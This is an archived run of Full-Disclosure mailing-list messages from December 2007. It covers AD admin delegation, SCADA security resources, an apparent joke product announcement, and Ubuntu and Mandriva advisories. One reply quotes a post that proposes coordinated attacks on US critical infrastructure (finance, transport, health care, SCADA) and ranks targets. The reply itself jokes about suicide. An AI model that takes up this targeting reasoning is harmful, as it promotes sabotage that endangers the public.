<23107.1196629450@turing-police.cc.vt.edu> References: <4751369B.9060307@pirate-radio.org> <16569.1196623374@turing-police.cc.vt.edu> <8a6b8e350712021134l72100737o143d1d7e5367f8e@mail.gmail.com> <20494.1196626985@turing-police.cc.vt.edu> <2d6724810712021232n74f452d1q45a90ea989375787@mail.gmail.com> <23107.1196629450@turing-police.cc.vt.edu> Message-ID: On Dec 2, 2007 4:04 PM, wrote: > On Sun, 02 Dec 2007 15:32:22 EST, T Biehn said: > > Clearly stated, he was cleaning up DOMAIN Administrators, which can, > > you know, Administer all the computers on the domain. > > What, you don't think that some people are unfortunate enough to be newcomers > to the field, and their first assignment is to clean up a net that an even > less clued predecessor set up with 'users-as-domain-admins' because the > previous guy didn't know the difference between -as-admin and -as-domain-admin? > > Keep in mind that we were *all* that clueless at one time. For some of us, > it was 30 years ago, for others it's 30 hours ago. Anyone who was a security expert 30 yrs ago should be ridiculed. Their job description was "I inspect all 5 & 1/4 disks that get mailed to us" and should be a reason NOT to hire them :-P > > I guess we'll all just denounce our friend here for even thinking he > > could ask a question as STUPID and RIDICULOUS as this one, instead of > > actually knowing or thinking about one could do. Whatever, just add a local account that has write access to c:\progra~1\ and HKLM/Software, and grant the users read access to the same (xcacls and regedt32 + logon.bat will do this for you) and you are good. -JP From tbiehn at gmail.com Mon Dec 3 01:46:23 2007 From: tbiehn at gmail.com (T Biehn) Date: Sun, 2 Dec 2007 20:46:23 -0500 Subject: [Full-disclosure] need help in managing administrators In-Reply-To: References: <4751369B.9060307@pirate-radio.org> <16569.1196623374@turing-police.cc.vt.edu> <8a6b8e350712021134l72100737o143d1d7e5367f8e@mail.gmail.com> <20494.1196626985@turing-police.cc.vt.edu> <2d6724810712021232n74f452d1q45a90ea989375787@mail.gmail.com> <23107.1196629450@turing-police.cc.vt.edu> Message-ID: <2d6724810712021746w14b60f4djfff57abc25d17cea@mail.gmail.com> Wonderous suggestion Dude. Apparently someone can't spot obvious sarcasm. On Dec 2, 2007 8:04 PM, Dude VanWinkle wrote: > On Dec 2, 2007 4:04 PM, wrote: > > On Sun, 02 Dec 2007 15:32:22 EST, T Biehn said: > > > Clearly stated, he was cleaning up DOMAIN Administrators, which can, > > > you know, Administer all the computers on the domain. > > > > What, you don't think that some people are unfortunate enough to be newcomers > > to the field, and their first assignment is to clean up a net that an even > > less clued predecessor set up with 'users-as-domain-admins' because the > > previous guy didn't know the difference between -as-admin and -as-domain-admin? > > > > Keep in mind that we were *all* that clueless at one time. For some of us, > > it was 30 years ago, for others it's 30 hours ago. > > Anyone who was a security expert 30 yrs ago should be ridiculed. Their > job description was "I inspect all 5 & 1/4 disks that get mailed to > us" and should be a reason NOT to hire them :-P > > > > I guess we'll all just denounce our friend here for even thinking he > > > could ask a question as STUPID and RIDICULOUS as this one, instead of > > > actually knowing or thinking about one could do. > > Whatever, just add a local account that has write access to > c:\progra~1\ and HKLM/Software, and grant the users read access to the > same (xcacls and regedt32 + logon.bat will do this for you) and you > are good. > > -JP > From joel at helgeson.com Mon Dec 3 03:19:10 2007 From: joel at helgeson.com (Joel R. Helgeson) Date: Sun, 2 Dec 2007 21:19:10 -0600 Subject: [Full-disclosure] need help in managing administrators In-Reply-To: References: <4751369B.9060307@pirate-radio.org> Message-ID: <016701c8355b$46222cc0$d2668640$@com> Launch "Active Directory Users & Computers" Listed you have the AD containers used to hold all your objects, select a tree, right-click the container, click properties. There is a tab called "Delegate Control" where you can delegate management of the objects located in that container to whatever groups or individuals you want. It is best to create a user group, then delegate the control to the group rather than the user. This is where it is important that you have your AD containers set up properly. Hope that helps provide some direction. Joel Helgeson From: full-disclosure-bounces at lists.grok.org.uk [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of happy nino Sent: Sunday, December 02, 2007 3:42 AM To: bugtraq at securityfocus.com; full-disclosure at lists.grok.org.uk Subject: [Full-disclosure] need help in managing administrators Hi All, i've a problem in my organization that we have several domain admins, we are in the process of removing most of them but i need to have a person only authorized to install new software to users' computers but without having access to other parts of the users machines, is this possible ?..can i delegate a function like this only to certain users with out being domain admins? Appreciate your great help thanks alot regards, Nad _____ Get closer to the jungle. I'm a Celebrity Get Me Out Of Here! -------------- next part -------------- An HTML attachment was scrubbed... URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071202/8b63cc82/attachment.html From varcher at denyall.com Mon Dec 3 09:59:47 2007 From: varcher at denyall.com (Vincent Archer) Date: Mon, 03 Dec 2007 10:59:47 +0100 Subject: [Full-disclosure] High Value Target Selection In-Reply-To: <28972.1196573057@turing-police.cc.vt.edu> References: <47505E42.90503@rogers.com> <4ef5fec60711302127i3e7baef0vf055d8a6592a5ee7@mail.gmail.com> <47518753.9030006@rogers.com> <4ef5fec60712011536t79f77c51x918090aae280405c@mail.gmail.com> <475230EB.2030404@rogers.com> <28972.1196573057@turing-police.cc.vt.edu> Message-ID: <1196675987.5420.16.camel@dapcva> On Sun, 2007-12-02 at 06:24 +0100, Valdis.Kletnieks at vt.edu wrote: > On Sat, 01 Dec 2007 23:13:31 EST, gmaggro said: > > Ah yes, I remember an old story not too dissimilar... multiple redundant > > lines, all severed at the same time with the same backhoe. Idiots. > > To be fair, it's often not "idiots". Sometimes, it *IS* idiots. In 1987, I was working on a telecoms-based business (French Minitel). We got about $20,000 per hour revenue tied to the X25 lines coming in, which meant a service interruption of an hour was bad, any service that would last a week would be death to the business (it was also highly competitive - if you were offline for a week, a lot of customers would find another service). So we went to our provider France Telecom (there wasn't a choice: there was one state provider for telco, and that was it), and we said "ok, we need a set of backup lines in case the current set gets cut". "No problem, our engineer will be there on Monday to install the modem and check your connection". "Hmmm? Where does the backup line go thru?" "Why, the same trunk, we've got plenty of spare capacity in it". Took us two months of careful negotiation to explain in words of no more than 5 letters that when we said backup in case of cut lines, we really meant it. -- Vincent ARCHER varcher at denyall.com Tel : +33 (0)1 40 07 47 14 Fax : +33 (0)1 40 07 47 27 Deny All - 23, rue Notre Dame des Victoires - 75002 Paris - France From SMAKOUS1 at Fairview.org Mon Dec 3 12:47:54 2007 From: SMAKOUS1 at Fairview.org (Makousky, Steve C) Date: Mon, 3 Dec 2007 06:47:54 -0600 Subject: [Full-disclosure] unsubscribe full-disclosure In-Reply-To: <016701c8355b$46222cc0$d2668640$@com> Message-ID: <5DFB65ACD9B42B49AB64D7C5F6962977074568C7@digsmxmbx08.Fairview.org> unsubscribe full-disclosure ---------------------------------- Steve Makousky CISSP, CNE, MCP Fairview Health Services Lead Information Security Analyst smakous1 at fairview.org W # - 612.672.6788 P # - 00110110 00110001 00110010 00101110 00110110 00110001 00110011 00101110 00110110 00111001 00110011 00111001 ---------------------------------- ________________________________ From: full-disclosure-bounces at lists.grok.org.uk [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of Joel R. Helgeson Sent: Sunday, December 02, 2007 9:19 PM To: 'happy nino'; bugtraq at securityfocus.com; full-disclosure at lists.grok.org.uk Subject: Re: [Full-disclosure] need help in managing administrators Launch "Active Directory Users & Computers" Listed you have the AD containers used to hold all your objects, select a tree, right-click the container, click properties. There is a tab called "Delegate Control" where you can delegate management of the objects located in that container to whatever groups or individuals you want. It is best to create a user group, then delegate the control to the group rather than the user. This is where it is important that you have your AD containers set up properly... Hope that helps provide some direction... Joel Helgeson From: full-disclosure-bounces at lists.grok.org.uk [mailto:full-disclosure-bounces at lists.grok.org.uk] On Behalf Of happy nino Sent: Sunday, December 02, 2007 3:42 AM To: bugtraq at securityfocus.com; full-disclosure at lists.grok.org.uk Subject: [Full-disclosure] need help in managing administrators Hi All, i've a problem in my organization that we have several domain admins, we are in the process of removing most of them but i need to have a person only authorized to install new software to users' computers but without having access to other parts of the users machines, is this possible ?..can i delegate a function like this only to certain users with out being domain admins? Appreciate your great help thanks alot regards, Nad ________________________________ Get closer to the jungle. I'm a Celebrity Get Me Out Of Here! -------------- next part -------------- An HTML attachment was scrubbed... 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URL: http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071203/48fa452d/attachment.html From dudevanwinkle at gmail.com Mon Dec 3 18:37:09 2007 From: dudevanwinkle at gmail.com (Dude VanWinkle) Date: Mon, 3 Dec 2007 13:37:09 -0500 Subject: [Full-disclosure] need help in managing administrators In-Reply-To: <2d6724810712021746w14b60f4djfff57abc25d17cea@mail.gmail.com> References: <4751369B.9060307@pirate-radio.org> <16569.1196623374@turing-police.cc.vt.edu> <8a6b8e350712021134l72100737o143d1d7e5367f8e@mail.gmail.com> <20494.1196626985@turing-police.cc.vt.edu> <2d6724810712021232n74f452d1q45a90ea989375787@mail.gmail.com> <23107.1196629450@turing-police.cc.vt.edu> <2d6724810712021746w14b60f4djfff57abc25d17cea@mail.gmail.com> Message-ID: On Dec 2, 2007 8:46 PM, T Biehn wrote: > Wonderous suggestion Dude. > Apparently someone can't spot obvious sarcasm. I do have a deficiency in that area.. or are you being sarcastic again? From dudevanwinkle at gmail.com Mon Dec 3 18:49:42 2007 From: dudevanwinkle at gmail.com (Dude VanWinkle) Date: Mon, 3 Dec 2007 13:49:42 -0500 Subject: [Full-disclosure] Web Beam, the new concept web application penetration testing tool In-Reply-To: <200712020018.lB20HIDD026004@openbsd.nyi.net> References: <200712020018.lB20HIDD026004@openbsd.nyi.net> Message-ID: NSFW!! But funny :-) Just FYI :-) Received-SPF: softfail (lists.grok.org.uk: transitioning domain of Billy.Hoffman at spidynamics.com does not designate 66.111.2.36 as permitted sender) Received: from openbsd.nyi.net (openbsd.nyi.net [66.111.2.36]) by lists.grok.org.uk (Postfix) with ESMTP id 3A6BCCB8 for ; Sun, 2 Dec 2007 00:19:06 +0000 (GMT) On Dec 1, 2007 7:18 PM, wrote: > > We are pleased to announce the result of the strategical partnership between SPI Dynamics and CORE SECURITY INC . > Paul Paget's security staff worked closely with us to integrate core impact security engine into our new Web Beam web application penetration testing tool. > Web Beam deliveries top level results in automatic web application discovery and in this new technology, the exploiting. > The platform includes an opensource licenced SDK to provide assistance in manual web vulnerability analysis that will be released on December 7th > on our website. > Web Beam includes 0day techniques for web attacks against well known enterprise grade applications widely found in intranet penetration tests. > To get an overview of the feature set of Web Beam and to signup for the Beta Testing Program download the presentation available on > http://beam.to/WebPresentation2007.pdf > > > Billy Hoffman > -- > Lead Researcher, SPI Labs > SPI Dynamics, An HP Company > http://www.spidynamics.com > Phone: 678-781-4800 > Direct: 678-781-4845 > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > From elazarb at earthlink.net Mon Dec 3 16:40:17 2007 From: elazarb at earthlink.net (Elazar Broad) Date: Mon, 3 Dec 2007 11:40:17 -0500 (EST) Subject: [Full-disclosure] SCADA refresher Message-ID: <26043523.1196700017263.JavaMail.root@elwamui-cypress.atl.sa.earthlink.net> This is interesting: http://www.schneier.com/blog/archives/2007/05/scada_security.html About a year ago, Nessus released plugins for testing SCADA systems: http://blog.tenablesecurity.com/2006/12/nessus_3_scada_.html And SANS is always a good resource: http://www.sans.org/reading_room/whitepapers/warfare/1644.php Elazar From dudevanwinkle at gmail.com Mon Dec 3 19:51:30 2007 From: dudevanwinkle at gmail.com (Dude VanWinkle) Date: Mon, 3 Dec 2007 14:51:30 -0500 Subject: [Full-disclosure] SCADA refresher In-Reply-To: <47535341.6060206@rogers.com> References: <47505E42.90503@rogers.com> <47535341.6060206@rogers.com> Message-ID: Also Johnson Controls in 2005 they were busy converting the proprietary BACnet speaking SCADA devices to embedded windows XP, considering NASA and friends run JCI, and there is no good way to update embedded XP (AFAIK) remotely, these systems should be prime targets... Whats an MLP? -JP On Dec 2, 2007 7:52 PM, gmaggro wrote: > Been giving myself a little refresher on SCADA, hope no-one minds the MLP. > > Stock presentation on SCADA security issues: > > http://www.blackhat.com/presentations/bh-federal-06/BH-Fed-06-Maynor-Graham-up.pdf > > Ganesh Devarajan's Defcon presentation was interesting: > http://video.google.com/videoplay?docid=2434649448102709100&hl=en > > Makes of SCADA and related products I have seen in actual use: > Allen Bradley (hardware) > Siemens (hardware) > RAND (hardware) > ABB (hardware) > Wonderware (software, assuming this was what Ganesh was assaulting) > > Well, assuming it was Wonderware (http://us.wonderware.com) since in > multiple networks of hundreds of thousands of nodes, and the companies > that own them... Wonderware was the only SCADA related package that > creeped up. > > On a different and amusing note, X.25 was still in use in a number of > these locations. Take that for what you will, but I don't think that's a > good sign. Hello, Datapac! However I have little idea what the X.25 > landscape is like anymore. Would be interesting if both > credit/financial and infrastructure data regularly travelled over the > same paths. Get access to a lottery/debit terminal, or just its > connectivity, and leverage that. > > 24th Chaos Communication Congress "Hacking SCADA", it sure would be nice > to make it over: > http://events.ccc.de/congress/2007/Fahrplan/events/2227.en.html > > More amusement, though it's a subscription site: > http://www.digitalbond.com/wiki/index.php/SCADA_IDS_Signatures > > Anyone have any resources they'd care to share? > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > From reepex at gmail.com Mon Dec 3 19:53:36 2007 From: reepex at gmail.com (reepex) Date: Mon, 3 Dec 2007 13:53:36 -0600 Subject: [Full-disclosure] High Value Target Selection In-Reply-To: <47505E42.90503@rogers.com> References: <47505E42.90503@rogers.com> Message-ID: you should destroy myspace.com after the downfall of and removal of myspace, many emo kids and future teenage moms will commit sucide saving the world from future jerry springer episodes and adding to the list of an heroes On 11/30/07, gmaggro wrote: > > I think it'd be interesting if we started a discussion on the selection > of high value targets to be used in the staging of attacks that damage > significant infrastructure. The end goals, ranked equal in importance, > would be as follows: > > 1. To bring like minded people together while operating under the > strategy of 'leaderless resistance' > (http://en.wikipedia.org/wiki/Leaderless_resistance) > > 2. To be the 'aboveground' partner to the 'underground' scene, or at > least serve to distract authorities from the activities of underground > groups > > 3. To see exactly what can be accomplished, and accomplish it > > 4. To capture the imagination of the public > > The 'leaderless resistance' aspect of organization is going to be key. > Plenty of technology exists for encryption and anonymity but that > doesn't apply to people. We have to be like the Internet itself here, as > originally intended: able to take the largest of blows and route around > the damage automatically. We also have to be like good encryption: able > to expose everything about our mechanism without leading to compromise. > > Capturing the imagination of the public sounds like bizspeek bullshit, > but it's a very powerful tool - it only takes one cow to start a > stampede. Furthermore it serves as a useful discriminator in selecting > targets. Bringing down Facebook or Amazon might annoy people... but it > really gets driven home when they can't pay their bills, buy food from > supermarkets, or take the train to work. > > So, types of infrastructure to attack: > > 1. Transportation > 2. Financial > 3. Telecommunications > 4. Petrochemical > 5. Manufacturing > 6. Health care > 7. Education > 8. Civilian Law Enforcement > 9. Government (Judicial, Executive, Legislative) > 10. Military > > This is just what I've thought of to date. One thing we'll need to do is > prioritize that list and flesh it out. For instance, for 'Financial' I'd > be inclined to break up something like this: banks, credit card > companies, credit processing companies, ATM companies, credit bureaus, > collection agencies, investment firms, etc. > > I guess we should pick some kind of a nation-state to narrow the scope. > I'm going to propose the USA for several reasons: > > 1. Alot of folks got it in for them. This makes it easier to blend into > the background. There's also the potential for assistance via > enemy-of-my-enemy-is-my-friend co-operation among like minded > individuals and groups. Also, in security, the advantage always goes to > the attacker; he only needs to be successful once but the defender has > to suceed every time. And since they're no doubt getting assaulted left > right and centre they've probably been tenderized pretty good. These > factors, I believe, combine to nullify any advantage they might have > from being well practiced at having to withstand assaults. > > 2.They're weak right now. In many ways. Given the issues in the > sub-prime market and it's cascade effects, profits are down everywhere. > When businesses lose money, what's the first thing that suffers? > Customer service. What's the second thing? Security. Not trying to slant > politically one way or the other here, but the American implementation > of capitalism is not renowned for having led to people making quality > goods or loving their jobs. Sloppiness abounds whether it's ACLs on the > router or easy-to-social-engineer employees. The effects of more people > losing their jobs and increased sociocultural turmoil will only > exacerbate this. Alot of talented people will be out a job for reason of > economics or colour, and if engaged properly, can add to the ranks. > > 3. They're easy to penetrate. If you can't walk right into the states > over the Mexican or Canadian border, then there's a million lines of > fibre and copper running straight in. It is an incredibly well connected > place with a widely geographically dispersed populace. And alot of > coffee shops near open wifi. Entire cities blanketed in connectivity > accessible from back alleys, washrooms in malls, or remote corners of > public parks with a 12db Yagi. Miles upon miles of SCADA wiring. > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -------------- next part -------------- An HTML attachment was scrubbed... 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Anyone else notice anything? -JP From kees at ubuntu.com Mon Dec 3 21:42:42 2007 From: kees at ubuntu.com (Kees Cook) Date: Mon, 3 Dec 2007 13:42:42 -0800 Subject: [Full-disclosure] [USN-550-1] Cairo vulnerability Message-ID: <20071203214242.GO8789@outflux.net> =========================================================== Ubuntu Security Notice USN-550-1 December 03, 2007 libcairo vulnerability CVE-2007-5503 =========================================================== A security issue affects the following Ubuntu releases: Ubuntu 6.06 LTS Ubuntu 6.10 Ubuntu 7.04 Ubuntu 7.10 This advisory also applies to the corresponding versions of Kubuntu, Edubuntu, and Xubuntu. The problem can be corrected by upgrading your system to the following package versions: Ubuntu 6.06 LTS: libcairo2 1.0.4-0ubuntu1.1 Ubuntu 6.10: libcairo2 1.2.4-1ubuntu2.1 Ubuntu 7.04: libcairo2 1.4.2-0ubuntu1.1 Ubuntu 7.10: libcairo2 1.4.10-1ubuntu4.1 After a standard system upgrade you need to restart your session to effect the necessary changes. Details follow: Peter Valchev discovered that Cairo did not correctly decode PNG image data. By tricking a user or automated system into processing a specially crafted PNG with Cairo, a remote attacker could execute arbitrary code with user privileges. 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Name: not available Type: application/pgp-signature Size: 189 bytes Desc: Digital signature Url : http://lists.grok.org.uk/pipermail/full-disclosure/attachments/20071203/b72e95d2/attachment.bin From unknown.pentester at gmail.com Mon Dec 3 23:16:54 2007 From: unknown.pentester at gmail.com (Adrian P) Date: Mon, 3 Dec 2007 23:16:54 +0000 Subject: [Full-disclosure] authentic hackers still do it for the love ... (was: Hell Camp: It never pays enough) In-Reply-To: <8a6b8e350712021135o7e96e8d9l54403728051796b7@mail.gmail.com> References: <4ef5fec60712012228oe7333a2t894b553628f1d8c@mail.gmail.com> <4ef5fec60712021129k6426162do9561a44ff445fa2@mail.gmail.com> <8a6b8e350712021135o7e96e8d9l54403728051796b7@mail.gmail.com> Message-ID: Hi folks! Just wanted to say that it IS possible to make good money and have fun breaking security. Lots of security researchers out there are offered very generous positions which sometimes allows them to work from home. In many of these positions the researcher chooses what to break, and the employer is OK with that since they also get good publicity for publishing the findings anyways. In short, it IS possible to have fun while working and make very good money. Does that mean you're not a hacker anymore? I don't think so! What it means is that you're clever since you managed to do what you like, legally, and get paid very good money for breaking toys just like you used to do when you were a child. Regards, AP. On Dec 2, 2007 7:35 PM, James Matthews wrote: > Correct there must be a separation between work and play! But playing will > always be fun! > > > > On Dec 2, 2007 8:29 PM, coderman wrote: > > On Dec 2, 2007 5:47 PM, jf wrote: > > > ... something southern baptists ... > > > > > You're doing it wrong. > > > > oh well, i checked monster.com and my ruse didn't work. > > no employeee exodus, no new signing bonus, and here i thought you'd all > > send email notice on a pleasant saturday afternoon. > > > > guess i'll have to pay for that CISSP after all... > > > > [tell you what jf and pdp, i'd be more curious to know how you > > cultivated that "job" that isn't yet pays well than continuing this > > thread before it spirals further into inanity...] > > > > > > > > > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - http://secunia.com/ > > > > > > -- > http://search.goldwatches.com/?Search=Movado+Watches > http://www.jewelerslounge.com > http://www.goldwatches.com > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -- pagvac gnucitizen.org, ikwt.com From unknown.pentester at gmail.com Mon Dec 3 23:16:54 2007 From: unknown.pentester at gmail.com (Adrian P) Date: Mon, 3 Dec 2007 23:16:54 +0000 Subject: [Full-disclosure] authentic hackers still do it for the love ... (was: Hell Camp: It never pays enough) In-Reply-To: <8a6b8e350712021135o7e96e8d9l54403728051796b7@mail.gmail.com> References: <4ef5fec60712012228oe7333a2t894b553628f1d8c@mail.gmail.com> <4ef5fec60712021129k6426162do9561a44ff445fa2@mail.gmail.com> <8a6b8e350712021135o7e96e8d9l54403728051796b7@mail.gmail.com> Message-ID: Hi folks! Just wanted to say that it IS possible to make good money and have fun breaking security. Lots of security researchers out there are offered very generous positions which sometimes allows them to work from home. In many of these positions the researcher chooses what to break, and the employer is OK with that since they also get good publicity for publishing the findings anyways. In short, it IS possible to have fun while working and make very good money. Does that mean you're not a hacker anymore? I don't think so! What it means is that you're clever since you managed to do what you like, legally, and get paid very good money for breaking toys just like you used to do when you were a child. Regards, AP. On Dec 2, 2007 7:35 PM, James Matthews wrote: > Correct there must be a separation between work and play! But playing will > always be fun! > > > > On Dec 2, 2007 8:29 PM, coderman wrote: > > On Dec 2, 2007 5:47 PM, jf wrote: > > > ... something southern baptists ... > > > > > You're doing it wrong. > > > > oh well, i checked monster.com and my ruse didn't work. > > no employeee exodus, no new signing bonus, and here i thought you'd all > > send email notice on a pleasant saturday afternoon. > > > > guess i'll have to pay for that CISSP after all... > > > > [tell you what jf and pdp, i'd be more curious to know how you > > cultivated that "job" that isn't yet pays well than continuing this > > thread before it spirals further into inanity...] > > > > > > > > > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - http://secunia.com/ > > > > > > -- > http://search.goldwatches.com/?Search=Movado+Watches > http://www.jewelerslounge.com > http://www.goldwatches.com > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -- pagvac gnucitizen.org, ikwt.com From security at mandriva.com Mon Dec 3 23:33:15 2007 From: security at mandriva.com (security at mandriva.com) Date: Mon, 03 Dec 2007 16:33:15 -0700 Subject: [Full-disclosure] [ MDKSA-2007:234 ] - Updated vixie-cron packages fix DoS vulnerability Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandriva Linux Security Advisory MDKSA-2007:234 http://www.mandriva.com/security/ _______________________________________________________________________ Package : vixie-cron Date : December 3, 2007 Affected: 2007.0, 2007.1, 2008.0 _______________________________________________________________________ Problem Description: Raphael Marichez discovered a denial of service bug in how vixie-cron verifies crontab file integrity. A local user with the ability to create a hardlink to /etc/crontab could prevent vixie-cron from executing certain system cron jobs. The updated packages have been patched to correct this issue. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-1856 _______________________________________________________________________ Updated Packages: Mandriva Linux 2007.0: 123b5f8f021f12d910a4348e9a557ec7 2007.0/i586/vixie-cron-4.1-9.1mdv2007.0.i586.rpm 682d18fa3ebec317be382fb40c140745 2007.0/SRPMS/vixie-cron-4.1-9.1mdv2007.0.src.rpm Mandriva Linux 2007.0/X86_64: e797aa1deb1aa45a3ac31967341d4271 2007.0/x86_64/vixie-cron-4.1-9.1mdv2007.0.x86_64.rpm 682d18fa3ebec317be382fb40c140745 2007.0/SRPMS/vixie-cron-4.1-9.1mdv2007.0.src.rpm Mandriva Linux 2007.1: 901d627bc295b396d1b9d331a7b538cd 2007.1/i586/vixie-cron-4.1-9.1mdv2007.1.i586.rpm e08498cdcb6f66fd167e6cd22d6c7c6b 2007.1/SRPMS/vixie-cron-4.1-9.1mdv2007.1.src.rpm Mandriva Linux 2007.1/X86_64: dba8945a07a6c835bc58d33884b1f50b 2007.1/x86_64/vixie-cron-4.1-9.1mdv2007.1.x86_64.rpm e08498cdcb6f66fd167e6cd22d6c7c6b 2007.1/SRPMS/vixie-cron-4.1-9.1mdv2007.1.src.rpm Mandriva Linux 2008.0: 1b273c4f69665e22bf56f3da76c52556 2008.0/i586/vixie-cron-4.1-9.1mdv2008.0.i586.rpm 148738b227103c0b1ee25e5f6ca747eb 2008.0/SRPMS/vixie-cron-4.1-9.1mdv2008.0.src.rpm Mandriva Linux 2008.0/X86_64: ebcf2fcf7c88dd88688eb4aa9f8a6bb2 2008.0/x86_64/vixie-cron-4.1-9.1mdv2008.0.x86_64.rpm 148738b227103c0b1ee25e5f6ca747eb 2008.0/SRPMS/vixie-cron-4.1-9.1mdv2008.0.src.rpm _______________________________________________________________________ To upgrade automatically use MandrivaUpdate or urpmi. The verification of md5 checksums and GPG signatures is performed automatically for you. All packages are signed by Mandriva for security. You can obtain the GPG public key of the Mandriva Security Team by executing: gpg --recv-keys --keyserver pgp.mit.edu 0x22458A98 You can view other update advisories for Mandriva Linux at: http://www.mandriva.com/security/advisories If you want to report vulnerabilities, please contact security_(at)_mandriva.com _______________________________________________________________________ Type Bits/KeyID Date User ID pub 1024D/22458A98 2000-07-10 Mandriva Security Team -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.7 (GNU/Linux) iD8DBQFHVGdymqjQ0CJFipgRAvULAJ4n+2Dlm4NEn+MwIifN7JseggseXgCfVifu 84n3Yi80xysJJBKRbwH0KRc= =bPBV -----END PGP SIGNATURE----- From security at mandriva.com Mon Dec 3 23:45:14 2007 From: security at mandriva.com (security at mandriva.com) Date: Mon, 03 Dec 2007 16:45:14 -0700 Subject: [Full-disclosure] [ MDKSA-2007:235 ] - Updated apache packages fix vulnerabilities Message-ID: -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 _______________________________________________________________________ Mandriva Linux Security Advisory MDKSA-2007:235 http://www.mandriva.com/security/ _______________________________________________________________________ Package : apache Date : December 3, 2007 Affected: 2007.0, 2007.1, Corporate 3.0, Corporate 4.0, Multi Network Firewall 2.0 _______________________________________________________________________ Problem Description: A flaw in the Apache mod_proxy module was found that could potentially lead to a denial of service is using a threaded Multi-Processing Module. On sites where a reverse proxy is configured, a remote attacker could send a special reequest that would cause the Apache child process handling the request to crash. Likewise, a similar crash could occur on sites with a forward proxy configured if a user could be persuaded to visit a malicious site using the proxy (CVE-2007-3847). A flaw in the Apache mod_autoindex module was found. On sites where directory listings are used and the AddDefaultCharset directive was removed from the configuration, a cross-site-scripting attack could be possible against browsers that to not correctly derive the response character set according to the rules in RGC 2616 (CVE-2007-4465). The updated packages have been patched to correct this issue. _______________________________________________________________________ References: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3847 http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-4465 _______________________________________________________________________ Updated Packages: Mandriva Linux 2007.0: 9bb73822e8ae92ba87aa8baa21d467d1 2007.0/i586/apache-base-2.2.3-1.2mdv2007.0.i586.rpm 1949631d7fc0f87c91ba5dd9e738e036 2007.0/i586/apache-devel-2.2.3-1.2mdv2007.0.i586.rpm 3fed692d7b2eefe64bdd5f557fb0d838 2007.0/i586/apache-htcacheclean-2.2.3-1.2mdv2007.0.i586.rpm 86b32442b40c9e8ee9ba4bc1def61157 2007.0/i586/apache-mod_authn_dbd-2.2.3-1.2mdv2007.0.i586.rpm a6ca98077bee65a270a7777f6a3f3b60 2007.0/i586/apache-mod_cache-2.2.3-1.2mdv2007.0.i586.rpm 3bf50ab09740de6e718dc38e5320a3f7 2007.0/i586/apache-mod_dav-2.2.3-1.2mdv2007.0.i586.rpm 11e3dde4beab554a1523261979852fee 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Date: Mon, 3 Dec 2007 19:01:40 -0500 Subject: [Full-disclosure] SCADA refresher In-Reply-To: References: <47505E42.90503@rogers.com> <47535341.6060206@rogers.com> Message-ID: <71c852d10712031601y21a68202td38760820a7d4977@mail.gmail.com> Datapac? In my experience, there aren't many things left there... of course, I don't work in that industry. I thought most transactions/work took places on other Canadian packet-switched networks. As for south of the border, I know even less. On Dec 3, 2007 2:51 PM, Dude VanWinkle wrote: > Also Johnson Controls > > in 2005 they were busy converting the proprietary BACnet speaking > SCADA devices to embedded windows XP, considering NASA and friends run > JCI, and there is no good way to update embedded XP (AFAIK) remotely, > these systems should be prime targets... > > Whats an MLP? > > -JP > > On Dec 2, 2007 7:52 PM, gmaggro wrote: > > Been giving myself a little refresher on SCADA, hope no-one minds the > MLP. > > > > Stock presentation on SCADA security issues: > > > > > http://www.blackhat.com/presentations/bh-federal-06/BH-Fed-06-Maynor-Graham-up.pdf > > > > Ganesh Devarajan's Defcon presentation was interesting: > > http://video.google.com/videoplay?docid=2434649448102709100&hl=en > > > > Makes of SCADA and related products I have seen in actual use: > > Allen Bradley (hardware) > > Siemens (hardware) > > RAND (hardware) > > ABB (hardware) > > Wonderware (software, assuming this was what Ganesh was assaulting) > > > > Well, assuming it was Wonderware (http://us.wonderware.com) since in > > multiple networks of hundreds of thousands of nodes, and the companies > > that own them... Wonderware was the only SCADA related package that > > creeped up. > > > > On a different and amusing note, X.25 was still in use in a number of > > these locations. Take that for what you will, but I don't think that's a > > good sign. Hello, Datapac! However I have little idea what the X.25 > > landscape is like anymore. Would be interesting if both > > credit/financial and infrastructure data regularly travelled over the > > same paths. Get access to a lottery/debit terminal, or just its > > connectivity, and leverage that. > > > > 24th Chaos Communication Congress "Hacking SCADA", it sure would be nice > > to make it over: > > http://events.ccc.de/congress/2007/Fahrplan/events/2227.en.html > > > > More amusement, though it's a subscription site: > > http://www.digitalbond.com/wiki/index.php/SCADA_IDS_Signatures > > > > Anyone have any resources they'd care to share? > > > > _______________________________________________ > > Full-Disclosure - We believe in it. > > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > > Hosted and sponsored by Secunia - http://secunia.com/ > > > > _______________________________________________ > Full-Disclosure - We believe in it. > Charter: http://lists.grok.org.uk/full-disclosure-charter.html > Hosted and sponsored by Secunia - http://secunia.com/ > -------------- next part -------------- An HTML attachment was scrubbed... URL: 